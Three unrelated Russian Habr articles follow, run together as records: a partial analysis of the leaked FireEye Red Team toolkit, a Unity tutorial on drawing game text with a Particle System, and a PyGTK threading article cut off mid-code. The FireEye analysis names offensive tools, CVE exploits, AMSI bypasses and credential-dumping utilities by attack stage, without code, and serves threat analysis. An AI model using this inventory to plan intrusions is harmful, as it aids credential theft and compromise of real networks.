* **SharPivot** – консольная .Net утилита для выполнения команд на удаленном хосте. Реализует различные техники и протоколы: WMI, RPC, Создание нового задания планировщика, Модификацию задания планировщика, WinRM, COM, регистрацию нового сервиса, регистрацию нового протокольного обработчика
* **SharpSchtask** – утилита для закрепления на хосте при помощи заданий планировщика
* **Justtask** – утилита для создания заданий планировщика заданий
* **Keepersist** – утилита для закрепления на хосте
Получение повышенных привилегий (Privilege Escalation)
------------------------------------------------------
* **[Cobalt Strike](https://www.cobaltstrike.com/)** – коммерческий фреймворк для постэксплуатации. Для фреймворка доступен ElevateKit, содержащий ряд эксплоитов для повышения привилегий (CVE 2020-0796, CVE-2014-4113, CVE 2015-1701, CVE 2016-0051, CVE-2016-099)
* **Sharpzerologon** – публично доступный эксплойт для уязвимости в сервисе Netlogon (CVE-2020-1472), получившей название Zerologon. Успешная эксплуатация приводит к компрометации учетной записи доменного администратора. Код эксплойта адаптирован для использования из Cobalt Strike
* **Expl-CVE-2014-1812** – эксплоит для уязвимости Group Policy на Windows
* **Expl-CVE-2016-0167** – эксплоит для уязвимости Windows kernel-mode driver
* **Expl-CVE-2020-1472** – эксплоит для уязвимости в службе Netlogon
* **Expl-CVE-2018-8581** – эксплоит для уязвимости в Microsoft Exchange
Обход средств обнаружения (Defense Evasion)
-------------------------------------------
* **[Cobalt Strike](https://www.cobaltstrike.com/)** – коммерческий фреймворк для постэксплуатации, В составе есть инструменты позволяющие гибко настроить протокол общения с зараженными хостами для усложнения сетевого обнаружения.
* **DTRIM** – Модифицированная версия [SharpSploit](https://github.com/cobbr/SharpSploit) – фреймворка для выполнения широкого спектра постэксплуатационных действий. Реализованы функции обхода AMSI а также патчинг ETWEventWrite для отключения ETW для текущего процесса
* **Matryoshka** – набор утилит для первоначального проникновения. Включает генератор вредоносной нагрузки, дроппер и загрузчик. Загрузчик использует технику Process Hollowing для скрытия своей работы
* **[NoAmci](https://github.com/med0x2e/NoAmci)** – утилита для патчинга AMSI.dll c целью обхода AMSI (Antimalware Scan Interface) при вызове метода Assembly.Load(). Используется для внедрения .NET-сборки в сторонний процесс.
* **PGF** – утилита для создания бэкдора. Состоит из генератора вредоносной нагрузки и ряда загрузчиков. Может обходить механизмы Application Whitelistening путем внедрения DLL в легитимные процессы
* **SharpStomp** – утилита для модификации файловых атрибутов: даты создания, даты модификации, даты последнего обращения
* **[NET-Assembly-Inject](https://github.com/med0x2e/NET-Assembly-Inject-Remote)** – утилита для внедрения кода написанного для .Net в легитимные приложения
* **NetshShellCodeRunner** – утилита использует легитимную утилиту NetSh.exe для запуска кода из вредоносной DLL
Получение учетных записей (Credential Access)
---------------------------------------------
* **[Cobalt Strike](https://www.cobaltstrike.com/)** – коммерческий фреймворк для постэксплуатации. В состав входят средства для дампа учетных записей.
* **Adpasshunt** — утилита для дампа паролей из Group Policy Preferences и атрибутов msSFU30Password и UserPassword Active Directory
* **DTRIM** – Модифицированная версия [SharpSploit](https://github.com/cobbr/SharpSploit) – фреймворка для выполнения широкого спектра постэксплуатационных действий. Реализован функции дампа учетных записей и проведения атак на протокол Kerberos
* **Excavator** – утилита для дампа памяти процессов. Может использоваться для кражи учетных записей
* **[Rubeus](https://github.com/GhostPack/Rubeus/)** — фреймворк для различных манипуляций с тикетами Kerberos, в том числе для проведения атак перебора паролей и Kerberoasting
* **Fluffy** – внутренний форк проекта [Rubeus](https://github.com/GhostPack/Rubeus/).
* **Impacket-Obfuscation** — модифицированная версия популярного фреймворка [Impacket](https://github.com/SecureAuthCorp/impacket) для проведения атак в Windows-инфраструктуре. Имеет функции дампа секретов (SAM, LSA, NTDS.dit), проведения атак на Kerberos (Манипуляции с Kerberos-тикетами, Golden Ticket), проведения MiTM-атак на протокол NTLM.
* **[InveighZero](https://github.com/Kevin-Robertson/InveighZero)** – утилита для проведения MiTM-атак на протоколы LLMNR, NBNS, mDNS, DNS, DHCPv6
* **[KeeFarce](https://github.com/denandz/KeeFarce)** – утилита для получения паролей из KeePass 2.x. Данные получаются путем внедрения DLL в работающий процесс KeePass
* **PXELoot (PAL)** – утилита для исследования и эксплуатации уязвимостей в конфигурации WDS (Windows Deployment Services)
* **[SafetyKatz](https://github.com/GhostPack/SafetyKatz)** – публичный проект для дампа учетных записей из процесса LSASS. Сочетает в себе модифицированную версию Mimikatz и загрузчик PE написанный на C#
* **TitoSpecial** – утилита разработанная на базе проекта [AndrewSpecial](https://github.com/hoangprod/AndrewSpecial) для дампа паролей из процесса LSASS. В утилите используются техники обхода EDR
* **CredSnatcher** – утилита для кражи учетных данных
* **WCMDump** – утилита для кражи учетных данных из Windows Credential Manager
* **Expl-CVE-2018-13379** – эксплоит для уязвимости FortiOS SSL VPN, позволяющий получить учетные данные пользователей
* **Expl-CVE-2019-11510** – эксплоит для уязвимости Pulse Secure SSL VPN, позволяющий получить учетные данные пользователей
Исследование инфраструктуры (Discovery)
---------------------------------------
* **[Cobalt Strike](https://www.cobaltstrike.com/)** – коммерческий фреймворк для постэксплуатации. В состав входят модули для сбора различной информации на хосте и по сети.
* **[Seatbelt](https://github.com/GhostPack/Seatbelt)** – публично доступная утилита для сбора различной информации с ОС Windows
* **CoreHound** — .Net утилита, предположительно fork [SharpHound](https://github.com/BloodHoundAD/SharpHound3) утилиты для изучения структуры домена Active Directory и сбора всевозможных данных о настройках безопасности.
* **PuppyHound** – модифицированная версия фреймворка [SharpHound](https://github.com/BloodHoundAD/SharpHound3) для исследования Active Directory
* **DTRIM** – Модифицированная версия [SharpSploit](https://github.com/cobbr/SharpSploit) – фреймворка для выполнения широкого спектра постэксплуатационных действий. Реализованы функции получения различных данных на уровне хоста и по сети.
* **EWSRT** – Проект базирующийся на утилите [RT-EWS](https://github.com/med0x2e/RT-EWS) для получения различных данных с серверов Exchange, в том числе с Office 365
* **Getdomainpasswordpolicy** – утилита для получения данных парольной политике в домене Active Directory
* **gpohunt** – утилита для получения данных групповых политик в домене Active Directory
* **[SharpUtils](https://github.com/breakid/SharpUtils)** – набор утилит, написанных на C# для запуска через метод execute assembly фреймворка Cobalt Strike
* **WMISharp** – утилита для работы с WMI
* **WMIspy** – утилита для сбора данных через WMI
* **modifiedsharpview** — модифицированная версия [SharpView](https://github.com/tevora-threat/SharpView), утилита для поиска информации в Active Directory
Перемещение по инфраструктуре (Lateral Movement)
------------------------------------------------
* **[Cobalt Strike](https://www.cobaltstrike.com/)** – коммерческий фреймворк для постэксплуатации. Фреймворк укомплектован модулями горизонтального перемещения (PsExec, WinRM, Windows Admin Shares)
* **DTRIM** – Модифицированная версия [SharpSploit](https://github.com/cobbr/SharpSploit) – фреймворка для выполнения широкого спектра постэксплуатационных действий. Для горизонтального перемещения использует WMI, DCOM, Создание сервиса на удаленном хосте, PowerShell Remoting.
* **Impacket-Obfuscation** – модифицированная версия популярного фреймворка [Impacket](https://github.com/SecureAuthCorp/impacket) для проведения атак в Windows-инфраструктуре. Имеет различные функции выполнения команд (PSExec, выполнение команд через Tack Scheduler и WMI) а также эксплоиты для уязвимостей Samba (CVE-2017-7494), Kerberos (CVE-2016-0049), Netlogon (CVE-2015-0005)
* **WMIRunner** – утилита для запуска команд через WMI
* **SharPivot** – консольная .Net утилита для выполнения команд на удаленном хосте. Реализует различные техники и протоколы: WMI, RPC, Создание нового задания планировщика, Модификацию задания планировщика, WinRM, COM, регистрацию нового сервиса, регистрацию нового протокольного обработчика
* **Expl-CVE-2018-15961** – эксплоит для уязвимости в Adobe ColdFusion
* **Expl-CVE-2019-0604** – эксплоит для уязвимости в Microsoft Sharepoint
* **Expl-CVE-2019-0708** – эксплоит для уязвимости в Microsoft Remote Desktop Services (RDS), также известной как BlueKeep
* **Expl-CVE-2019-11580** – эксплоит для уязвимости в Atlassian Crowd
* **Expl-CVE-2019-3398** – эксплоит для уязвимости в Atlassian Confluence Server
* **Expl-CVE-2020-0688** – эксплоит для уязвимости в Microsoft Exchange
* **Expl-CVE-2020-10189** – эксплоит для уязвимости в ZoHo ManageEngine Desktop Central
Удаленное управление (Command and Control)
------------------------------------------
* **[Cobalt Strike](https://www.cobaltstrike.com/)** – коммерческий фреймворк для постэксплуатации. Включает в себя Team Server для централизации управления скомпрометированными хостами в инфраструктуре.
* **DShell** – Windows-троян, написанный на языке D
* **Redflare** – фреймворк разработанный командой FireEye для проведения операций RedTeam. Включает в себя командный сервер
* **GoRAT** – модульный бэкдор для различных систем (Windows, MacOS), является частью фреймворка Redflare. Написан на языке Go
* **[DoHC2](https://github.com/SpiderLabs/DoHC2)** – расширение фреймворка Cobalt Strike для организации канала управления через протокол DNS over HTTPS (DoH)
* **prat** – remote access trojan
Вспомогательные утилиты
-----------------------
* **SharpGrep** – утилита поиска по контенту файлов
* **sharpdacl** – утилита для работы с ACL
* **sharpdns** – утилита для работы с протоколом DNS
* **sharpgopher** – утилита для работы с протоколом Gopher
* **sharpnativezipper** – утилита для использования штатный средств ОС для компрессии данных
* **sharpnfs** – утилита для работы с протоколом NFS
* **sharppatchcheck** – утилита для проверки установленных обновлений
* **sharpsqlclient** – SQL-клиент
* **sharpwebcrawler** – Crawler веб страниц
* **sharpziplibzipper** – утилита для компрессии, использующая libzip
Утилиты неизвестного назначения
-------------------------------
По предоставленной информации назначение данных утилит понять не удалось.
* Allthethings
* SharpGenerator
* Lualoader
* MSBuildMe
* Revolver
* Sharpsack
* Sharpy
* red\_team\_materials
* sharptemplate
Итоги проведенного анализа
--------------------------
* Большая часть инструментария предназначена для проведения атак в инфраструктуре Microsoft Windows
* Для развития атаки применяется коммерческий фреймворк Cobalt Strike а также модифицированные версии известных open source проектов (SharpView, SharpSploit, Impacket, SharpHound, SafetyKatz)
* Модификация open source во многом связана с дополнительными техниками обхода средств обнаружения
* В компании есть большое количество собственных разработок, преимущественно на C#
* FireEye применяет многоступенчатое вредоносное ПО для атаки.
* В арсенале присутствует ряд эксплойтов для опасных уязвимостей, но все эксплойты можно найти на просторах интернета
**Факты, которые меня удивили:**
* Отсутствие инструментов для работы с Linux и другими Unix-подобными операционными системами
* Отсутствие утилит для атаки на сетевые устройства
* Отсутствие арсенала для работы с Web-приложениями
* Достаточно скромная подборка эксплойтов для первичного проникновения в инфраструктуру
Выводы
------
Успешная атака на гиганта рынка информационной безопасности несомненно войдет в перечень значимых событий нашей отрасли, но также нужно понимать, что инструментарий Red Team точно не являлся целью атакующих. Компания FireEye выполняла работы для крупных компаний по всему миру а также являлась подрядчиком государственных структур США, таких как Department of Defense, Health and Human Services, Treasury, Homeland Security и др. Данные этих организаций более лакомый кусок для про государственных хакеров чем подборка эксплоитов и утилит.
Как показал анализ, даже публикация утилит в открытом доступе существенно не повлияет на картину рисков для организаций т.к. большая часть арсенала и так доступна злоумышленникам в виде open source проектов.
**Разбор утилит по техникам MITRE ATT&CK**
**Execution**
* T1059.001 Command and Scripting Interpreter: PowerShell (Cobalt Strike)
* T1059.003 Command and Scripting Interpreter: Windows Command Shell (Cobalt Strike, DShell)
* T1059.005 Command and Scripting Interpreter: Visual Basic (Cobalt Strike)
* T1059.006 Command and Scripting Interpreter: Python (Cobalt Strike)
* T1059.007 Command and Scripting Interpreter: JavaScript/JScript (GadgetToJscript)
* T1106 Native API (Cobalt Strike, DTRIM)
* T1129 Shared Modules (DueDDLigence)
* T1203 Exploitation for Client Execution (Expl-CVE-2017-11774, Expl-CVE-2019-0708, Expl-CVE-2019-19781, Expl-CVE-2019-8394)
* T1569.002 System Services: Service Execution (Cobalt Strike, Impacket-Obfuscation)
**Persistence**
* T1053.005 Scheduled Task/Job: Scheduled Task (SharPersist)
* T1543.003 Create or Modify System Process: Windows Service (Cobalt Strike, SharPersist)
* T1546.003 Event Triggered Execution: Windows Management Instrumentation Event Subscription (Mofcomp)
**Privilege Escalation**
* T1068 Exploitation for Privilege Escalation (Cobalt Strike, Sharpzerologon, Expl- CVE-2014-1812, Expl-CVE-2016-0167, Expl-CVE-2020-1472, Expl-CVE-2018-8581)
* T1134.001 Access Token Manipulation: Token Impersonation/Theft (Cobalt Strike)
* T1134.003 Access Token Manipulation: Make and Impersonate Token (Cobalt Strike)
* T1134.004 Access Token Manipulation: Parent PID Spoofing (Cobalt Strike)
**Defense Evasion**
* T1027.005 Obfuscated Files or Information: Indicator Removal from Tools (Cobalt Strike)
* T1055 Process Injection (Cobalt Strike, NET-Assembly-Inject)
* T1055.012 Process Injection: Process Hollowing (Cobalt Strike, Matryoshka)
* T1070.006 Indicator Removal on Host: Timestomp (Cobalt Strike, SharpStomp)
* T1197 BITS Jobs (Cobalt Strike)
* T1548.002 Abuse Elevation Control Mechanism: Bypass User Account Control (Cobalt Strike) T1562.001 Impair Defenses: Disable or Modify Tools (DTRIM, NoAmci)
* T1562.002 Impair Defenses: Disable Windows Event Logging (DTRIM)
* T1572 Protocol Tunneling (Cobalt Strike)
**Credential Access**
* T1003 OS Credential Dumping: Security Account Manager (Cobalt Strike, DTRIM, Excavator, Impacket-Obfuscation, SafetyKatz, TitoSpecial)
* T1110 Brute Force (Rubeus, Fluffy)
* T1056.001 Input Capture: Keylogging (Cobalt Strike)
* T1552.006 Unsecured Credentials: Group Policy Preferences (Adpasshunt)
* T1555 Credentials from Password Stores (Expl-CVE-2018-13379, Expl-CVE-2019-11510)
* T1557.001 Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay (Impacket-Obfuscation, InveighZero)
* T1558 Steal or Forge Kerberos Tickets (DTRIM, Rubeus, Fluffy, Impacket-Obfuscation)
* T1040 Network Sniffing (Impacket-Obfuscation)
* T1555.001 Process Injection: Dynamic-link Library Injection (KeeFarce)
**Discovery**
* T1007 System Service Discovery (Seatbelt)
* T1012 Query Registry (Seatbelt)
* T1016 System Network Configuration Discovery (Cobalt Strike, Seatbelt)
* T1018 Remote System Discovery (Cobalt Strike)
* T1033 System Owner/User Discovery (Seatbelt)
* T1046 Network Service Scanning (Cobalt Strike, DTRIM)
* T1049 System Network Connections Discovery (Seatbelt)
* T1057 Process Discovery (Cobalt Strike, DTRIM)
* T1069.001 Permission Groups Discovery: Local Groups (Seatbelt, DTRIM)
* T1069.002 Permission Groups Discovery: Domain Groups (CoreHound, DTRIM, PuppyHound, modifiedsharpview)
* T1082 System Information Discovery (Seatbelt)
* T1087.001 Account Discovery: Local Account (Seatbelt, DTRIM)
* T1087.002 Account Discovery: Domain Account (Cobalt Strike, CoreHound, DTRIM, PuppyHound)
* T1087.002 Account Discovery: Email Account (EWSRT)
* T1087.004 Account Discovery: Cloud Account (Seatbelt, EWSRT)
* T1124 System Time Discovery (Seatbelt)
* T1135 Network Share Discovery (Cobalt Strike, Seatbelt, DTRIM)
* T1201 Password Policy Discovery (Seatbelt, Getdomainpasswordpolicy)
* T1217 Browser Bookmark Discovery (Seatbelt)
* T1518 Software Discovery (Seatbelt)
* T1482 Domain Trust Discovery (CoreHound, PuppyHound)
**Lateral Movement**
* T1021.001 Remote Services: Remote Desktop Protocol (Cobalt Strike)
* T1021.002 Remote Services: SMB/Windows Admin Shares (Cobalt Strike)
* T1021.003 Remote Services: Distributed Component Object Model (Cobalt Strike, DTRIM)
* T1021.004 Remote Services: SSH (Cobalt Strike)
* T1021.006 Remote Services: Windows Remote Management (Cobalt Strike, DTRIM, Impacket-Obfuscation, WMIRunner)
* T1047 Windows Management Instrumentation (Cobalt Strike, DTRIM)
* T1210 Exploitation of Remote Services (Impacket-Obfuscation, Expl-CVE-2018-15961, Expl-CVE-2019-0604, Expl-CVE-2019-0708, Expl-CVE-2019-11580, Expl-CVE-2019-3398, Expl-CVE-2020-0688, Expl-CVE-2020-10189)
* T1550.002 Use Alternate Authentication Material: Pass the Hash (Cobalt Strike)
**Command and Control**
* T1071.001 Application Layer Protocol: Web Protocols (Cobalt Strike)
* T1071.004 Application Layer Protocol: DNS (Cobalt Strike)
* T1090.001 Proxy: Internal Proxy (Cobalt Strike)
*Сергей Рублев. Директор по развитию Пангео Радар, CISSP* | https://habr.com/ru/post/532832/ | null | ru | null |
# Вывод внутриигровых сообщений с помощью Particle System
#### Задача
При разработке нашей игры The Unliving, мы поставили перед собой задачу по отображению различных сообщений, таких, как нанесенный урон, нехватка здоровья или энергии, величина награды, количество восстановленных очков здоровья и т.д., с помощью Particle System. Это было решено сделать для того, чтобы получить больше возможностей для кастомизации эффектов появления и дальнейшего поведения таких сообщений, что проблематично при использовании стандартных элементов UI-системы Unity.
Кроме того, данный подход подразумевает использование всего лишь одного инстанса Particle System для каждого типа сообщений, что дает огромный прирост в производительности по сравнению с выводом этих же сообщений с помощью Unity UI.
**Сообщение о величине урона**
**Текстовое сообщение о нехватке здоровья**
#### Алгоритм решения
С помощью шейдера отображаем заранее подготовленную текстуру, используя правильные UV-координаты. Информацию с UV-координатами передаем двумя потоками (vertex streams) в ParticleSystem с помощью ParticleSystem.SetCustomParticleData в виде списка Vector4.
Наша реализация предполагает использование текстуры содержащей 10 строк и 10 столбцов символов. В качестве шрифта может быть использован любой моноширинный шрифт. Это необходимо во избежание разных интервалов между символами сообщения.
→ [Исходник текстуры в PSD](https://github.com/timur-pub/textparticles/blob/master/pub/monospaced_font.psd)
#### Пошаговая реализация
**Создание Vector4 для передачи в Vertex Stream**
Для описания набора символов будем использовать структуру SymbolsTextureData.
Массив chars необходим заполнить вручную, по порядку добавив в него все символы текстуры шрифта начиная с левого-верхнего угла.
```
[Serializable]
public struct SymbolsTextureData
{
//Ссылка на атлас шрифта
public Texture texture;
//Массив набора символов по порядку, начиная с левого-верхнего угла
public char[] chars;
//Dictionary с координатами каждого символа - номер строки и столбца
private Dictionary charsDict;
public void Initialize()
{
charsDict = new Dictionary();
for (int i = 0; i < chars.Length; i++)
{
var c = char.ToLowerInvariant(chars[i]);
if (charsDict.ContainsKey(c)) continue;
//Расчет координат символа, преобразуем порядковый номер символа
//в номер строки и столбца, зная, что длина строки равна 10.
var uv = new Vector2(i % 10, 9 - i / 10);
charsDict.Add(c, uv);
}
}
public Vector2 GetTextureCoordinates(char c)
{
c = char.ToLowerInvariant(c);
if (charsDict == null) Initialize();
if (charsDict.TryGetValue(c, out Vector2 texCoord))
return texCoord;
return Vector2.zero;
}
}
```
В результате мы получим класс TextRendererParticleSystem. При вызове публичного метода SpawnParticle, будет происходить спаун одной частицы Particle System в нужную позицию, с нужным значением, цветом и размером.
```
[RequireComponent(typeof(ParticleSystem))]
public class TextRendererParticleSystem : MonoBehaviour
{
private ParticleSystemRenderer particleSystemRenderer;
private new ParticleSystem particleSystem;
public void SpawnParticle(Vector3 position, string message, Color color, float? startSize = null)
{
//Тело метода
}
}
```
Particle System в Unity позволяет передать кастомные данные в виде 2х потоков Vector4.
Мы намеренно добавили лишний поток с UV2, чтобы избежать сдвига по координатам потоков. Если этого не сделать, то координатам X и Y Custom1-вектора в C# будут соответствовать Z и W TEXCOORD0 шейдера. И соответственно, Custom1.z = TEXCOORD1.x, Custom1.w = TEXCOORD1.y. Что доставит много неудобств в дальнейшем.
Как было описано ранее, для передачи длины сообщения и UV-координат символов мы будем использовать два Vector4. Так как Vector4 содержит 4 элемента типа float, то по умолчанию мы можем упаковать в него 4 \* 4 = 16 байт данных. Т.к. наше сообщение будет содержать только длину сообщения (двузначное число) и координаты символов (двузначное число для каждого символа), то диапазон типа byte (0-255) для нас избыточен. В то время как использование десятичных разрядов подойдет отлично.
Точность float составляет 6-9 символов, значит мы смело можем использовать 6 разрядов каждой координаты Vector4 и не переживать за целостность и точность данных. На самом деле, мы пробовали паковать 7, 8 и 9 символов, но точности float не хватает.
Получается, что в каждый float, используя десятичные разряды, мы упакуем целых 6 цифр, в отличии от стандартного варианта с четырьмя байтами. Итого, один Vector4 будет содержать 24 однозначных числа.
Мы можем передать в потоке 2 вектора, поэтому будем использовать оба для передачи сообщения длиной до 23 символов:
Custom1.xyzw — первые 12 символов сообщения.
Custom2.xyzw — еще 11 символов сообщения + длина сообщения (последние 2 символа).
Например, сообщение «Hello» будет выглядеть следующим образом.
Координатам символов соответствуют номер столбца и строка положения символа в текстуре.
В коде упаковка строки в два Vector4 будет выглядеть следующим образом:
```
//Функция упаковки массива Vector2 с координатами символов во float
public float PackFloat(Vector2[] vecs)
{
if (vecs == null || vecs.Length == 0) return 0;
//Поразрядно добавляем значения координат векторов в float
var result = vecs[0].y * 10000 + vecs[0].x * 100000;
if (vecs.Length > 1) result += vecs[1].y * 100 + vecs[1].x * 1000;
if (vecs.Length > 2) result += vecs[2].y + vecs[2].x * 10;
return result;
}
//Функция создания Vector4 для потока с CustomData
private Vector4 CreateCustomData(Vector2[] texCoords, int offset = 0)
{
var data = Vector4.zero;
for (int i = 0; i < 4; i++)
{
var vecs = new Vector2[3];
for (int j = 0; j < 3; j++)
{
var ind = i * 3 + j + offset;
if (texCoords.Length > ind)
{
vecs[j] = texCoords[ind];
}
else
{
data[i] = PackFloat(vecs);
i = 5;
break;
}
}
if (i < 4) data[i] = PackFloat(vecs);
}
return data;
}
//Дополним тело метода спауна частицы
public void SpawnParticle(Vector3 position, string message, Color color, float? startSize = null)
{
var texCords = new Vector2[24]; //массив из 24 элемент - 23 символа + длина сообщения
var messageLenght = Mathf.Min(23, message.Length);
texCords[texCords.Length - 1] = new Vector2(0, messageLenght);
for (int i = 0; i < texCords.Length; i++)
{
if (i >= messageLenght) break;
//Вызываем метод GetTextureCoordinates() из SymbolsTextureData для получения позиции символа
texCords[i] = textureData.GetTextureCoordinates(message[i]);
}
var custom1Data = CreateCustomData(texCords);
var custom2Data = CreateCustomData(texCords, 12);
}
```
Вектора с CustomData готовы. Пришло время вручную заспаунить новую частицу с нужными параметрами.
**Спаун частицы**
Первое, что мы должны сделать, убедиться, что CustomData потоки активированы в настройках Renderer системы частиц:
```
//Кэшируем ссылку на ParticleSystem
if (particleSystem == null) particleSystem = GetComponent();
if (particleSystemRenderer == null)
{
//Если ссылка на ParticleSystemRenderer, кэшируем и убеждаемся в наличии нужных потоков
particleSystemRenderer = particleSystem.GetComponent();
var streams = new List();
particleSystemRenderer.GetActiveVertexStreams(streams);
//Добавляем лишний поток Vector2(UV2, SizeXY, etc.), чтобы координаты в скрипте соответствовали координатам в шейдере
if (!streams.Contains(ParticleSystemVertexStream.UV2)) streams.Add(ParticleSystemVertexStream.UV2);
if (!streams.Contains(ParticleSystemVertexStream.Custom1XYZW)) streams.Add(ParticleSystemVertexStream.Custom1XYZW);
if (!streams.Contains(ParticleSystemVertexStream.Custom2XYZW)) streams.Add(ParticleSystemVertexStream.Custom2XYZW);
particleSystemRenderer.SetActiveVertexStreams(streams);
}
```
Для создания частицы воспользуемся методом Emit() класса ParticleSystem.
```
//Инициализируем параметры эммишена
//Цвет и позицию получаем из параметров метода
//Устанавливаем startSize3D по X, чтобы символы не растягивались и не сжимались
//при изменении длины сообщения
var emitParams = new ParticleSystem.EmitParams
{
startColor = color,
position = position,
applyShapeToPosition = true,
startSize3D = new Vector3(messageLenght, 1, 1)
};
//Если мы хотим создавать частицы разного размера, то в параметрах SpawnParticle неоходимо
//передать нужное значение startSize
if (startSize.HasValue) emitParams.startSize3D *= startSize.Value * particleSystem.main.startSizeMultiplier;
//Непосредственно спаун частицы
particleSystem.Emit(emitParams, 1);
//Передаем кастомные данные в нужные потоки
var customData = new List();
//Получаем поток ParticleSystemCustomData.Custom1 из ParticleSystem
particleSystem.GetCustomParticleData(customData, ParticleSystemCustomData.Custom1);
//Меняем данные последнего элемент, т.е. той частицы, которую мы только что создали
customData[customData.Count - 1] = custom1Data;
//Возвращаем данные в ParticleSystem
particleSystem.SetCustomParticleData(customData, ParticleSystemCustomData.Custom1);
//Аналогично для ParticleSystemCustomData.Custom2
particleSystem.GetCustomParticleData(customData, ParticleSystemCustomData.Custom2);
customData[customData.Count - 1] = custom2Data;
particleSystem.SetCustomParticleData(customData, ParticleSystemCustomData.Custom2);
```
Добавим оба блока в метод SpawnParticle() и C# часть готова: сообщение упаковано и передано GPU в виде двух Vector4 в Vertex Stream. Осталось самое интересное — принять эти данные и правильно отобразить.
**Код шейдера**
```
Shader "Custom/TextParticles"
{
Properties
{
_MainTex ("Texture", 2D) = "white" {}
//Количество строк и столбцов в теории может быть меньше 10, но никак не больше
_Cols ("Columns Count", Int) = 10
_Rows ("Rows Count", Int) = 10
}
SubShader
{
Tags { "RenderType"="Opaque" "PreviewType"="Plane" "Queue" = "Transparent+1"}
LOD 100
ZWrite Off
Blend SrcAlpha OneMinusSrcAlpha
Pass
{
CGPROGRAM
#pragma vertex vert
#pragma fragment frag
#include "UnityCG.cginc"
struct appdata
{
float4 vertex : POSITION;
fixed4 color : COLOR;
float4 uv : TEXCOORD0;
//Те самые вектора с customData
float4 customData1 : TEXCOORD1;
float4 customData2 : TEXCOORD2;
};
struct v2f
{
float4 vertex : SV_POSITION;
fixed4 color : COLOR;
float4 uv : TEXCOORD0;
float4 customData1 : TEXCOORD1;
float4 customData2 : TEXCOORD2;
};
uniform sampler2D _MainTex;
uniform uint _Cols;
uniform uint _Rows;
v2f vert (appdata v)
{
v2f o;
//Почему длина сообщения передается именно в последних разрядах w-координаты вектора?
//Так проще всего получить эту длину внутри шейдера.
//Достаточно получить остаток от деления на 100.
float textLength = ceil(fmod(v.customData2.w, 100));
o.vertex = UnityObjectToClipPos(v.vertex);
//Получаем размер UV текстуры, исходя из кол-ва строк и столбцов
o.uv.xy = v.uv.xy * fixed2(textLength / _Cols, 1.0 / _Rows);
o.uv.zw = v.uv.zw;
o.color = v.color;
o.customData1 = floor(v.customData1);
o.customData2 = floor(v.customData2);
return o;
}
fixed4 frag (v2f v) : SV_Target
{
fixed2 uv = v.uv.xy;
//Индекс символа в сообщении
uint ind = floor(uv.x * _Cols);
uint x = 0;
uint y = 0;
//Индекс координаты вектора, содержащий этот элемент
//0-3 - customData1
//4-7 - customData2
uint dataInd = ind / 3;
//Получаем значение всех 6 разрядов упакованных в нужный float
uint sum = dataInd < 4 ? v.customData1[dataInd] : v.customData2[dataInd - 4];
//Непосредственно распаковка float и получение строки и столбца символа
for(int i = 0; i < 3; ++i)
{
if (dataInd > 3 & i == 3) break;
//округляем до большего, иначе получим 10^2 = 99 и т.д.
uint val = ceil(pow(10, 5 - i * 2));
x = sum / val;
sum -= x * val;
val = ceil(pow(10, 4 - i * 2));
y = sum / val;
sum -= floor(y * val);
if (dataInd * 3 + i == ind) i = 3;
}
float cols = 1.0 / _Cols;
float rows = 1.0 / _Rows;
//Сдвигаем UV-координаты, используя кол-во строк, столбцов, индекс
//и номер строки и столбца элемента
uv.x += x * cols - ind * rows;
uv.y += y * rows;
return tex2D(_MainTex, uv.xy) * v.color;
}
ENDCG
}
}
}
```
**Редактор Unity**
Создаем материал и назначаем ему наш шейдер. На сцене создаем объект с компонентом ParticleSystem, назначаем созданный материал. Затем настраиваем поведение частиц и отключаем параметр Play On Awake. Из любого класса вызываем метод RendererParticleSystem.SpawnParticle() или используем дебажный метод.
```
[ContextMenu("TestText")]
public void TestText()
{
SpawnParticle(transform.position, "Hello world!", Color.red);
}
```
С исходным кодом, ресурсами и примером использования можно ознакомиться [здесь](https://github.com/timur-pub/textparticles).
**Система вывода сообщений в действии**
Вот и все. Вывод сообщений с помощью Particle System готов! Надеемся, это решение принесет пользу разработчикам игр на Unity.
**UPD: Производительность предлагаемого решения**
В комментариях у нескольких человек возник вопрос насчет производительности данного способа. Специально сделал замеры профайлером юнити. Условия одинаковые — 1000 движущихся, меняющих цвет объектов.
Результат использования стандартного UI (единственный канвас, на котором находятся только 1000 UI Text объектов):
Общее время построения кадра не менее 50мс, из них 40мс уходит на обновление канваса. При этом объекты даже не спаунятся, а просто движутся.
Результат спауна 1000 партиклов с помощью нашего решения:
Вся магия происходит на ГПУ, даже в момент спауна 1000 частиц кадр рассчитывается менее чем за 5мс. | https://habr.com/ru/post/486260/ | null | ru | null |
# PyGTK: потоки и магия обёрток
Всем хорош GTK+, но наблюдается большая проблема при работе с ним в многопоточных приложениях. Сам по себе GTK является thread-safe, но требуя принудительной блокировки со стороны пользователя. Вторая проблема заключается в том, что блокировка реализована через мутексы, и вы должны вызывать блокировку строго один раз, иначе ваш код «зависнет» на linux, прекрасно при этом работая на windows.
Опыт показал, что способ доступа «Любой поток обращается к GUI, главное вызвать блокировки» оказался провальным: через некоторое время можно поймать core dump в глубинах GTK с самыми разнообразными причинами, ловить которые бесполезно.
**UP**: Код залит на [Github](https://github.com/datacompboy/pygtk-gui), и немного обновлён с последней версией кода «основного» проекта. Изменения косметические (Period вместо Seconds, и добавлено логгирование использования ошибочного потока для поиска проблемных мест.
В связи с чем, в своем небольшом проекте я пришел к следующему методу организации наиболее беспроблемной работы с потоками:
1. Любые обращения к GTK производит только один поток. Все изменения в GUI вносят выделенные функции обновления состояния.
2. Все блокировки ведутся через общий реентерабельный блокиратор.
3. Блокиратор так же отслеживает обращение к GUI из «неправильного» потока, логгируя его.
### Общая структура GUI части
Основная часть состоит из модуля gui.py, экспортирующего следующее «добро»:
```
GtkLocker = CGtkLocker() # Блокиратор
def GtkLocked(f): # Обертка для событий gui, отмечает факт наличия блокировки в момент вызова
def IdleUpdater(f): # Обертка для функции обновления, выполняющейся как только будет свободно gui
def SecondUpdater(f): # Обертка для функции обновления, вызывающейся не чаще раза в секунду
def GUIstop(): # Заканчивает работу программы и убивает всё GUI
def GuiCall(Func): # Вызов функции обновления GUI "высокого" приоритета
def GuiIdleCall(Func): # Вызов функции обновления GUI когда больше ничего более важного нет
def GuiSecondCall(Func): # Вызов указанной обновления в ближайшую секунду
def GUI(): # Запуск основного цикла работы
```
И работа приложения выглядит так:
```
import gui, gtk
def InitApp():
""" Создаём и показываем все необходимые контролы """
with GtkLocker:
window = gtk.Window(gtk.WINDOW_TOPLEVEL)
window.set_title(u"Вот такое приложение")
window.connect("destroy", gui.GUIstop)
window.realize()
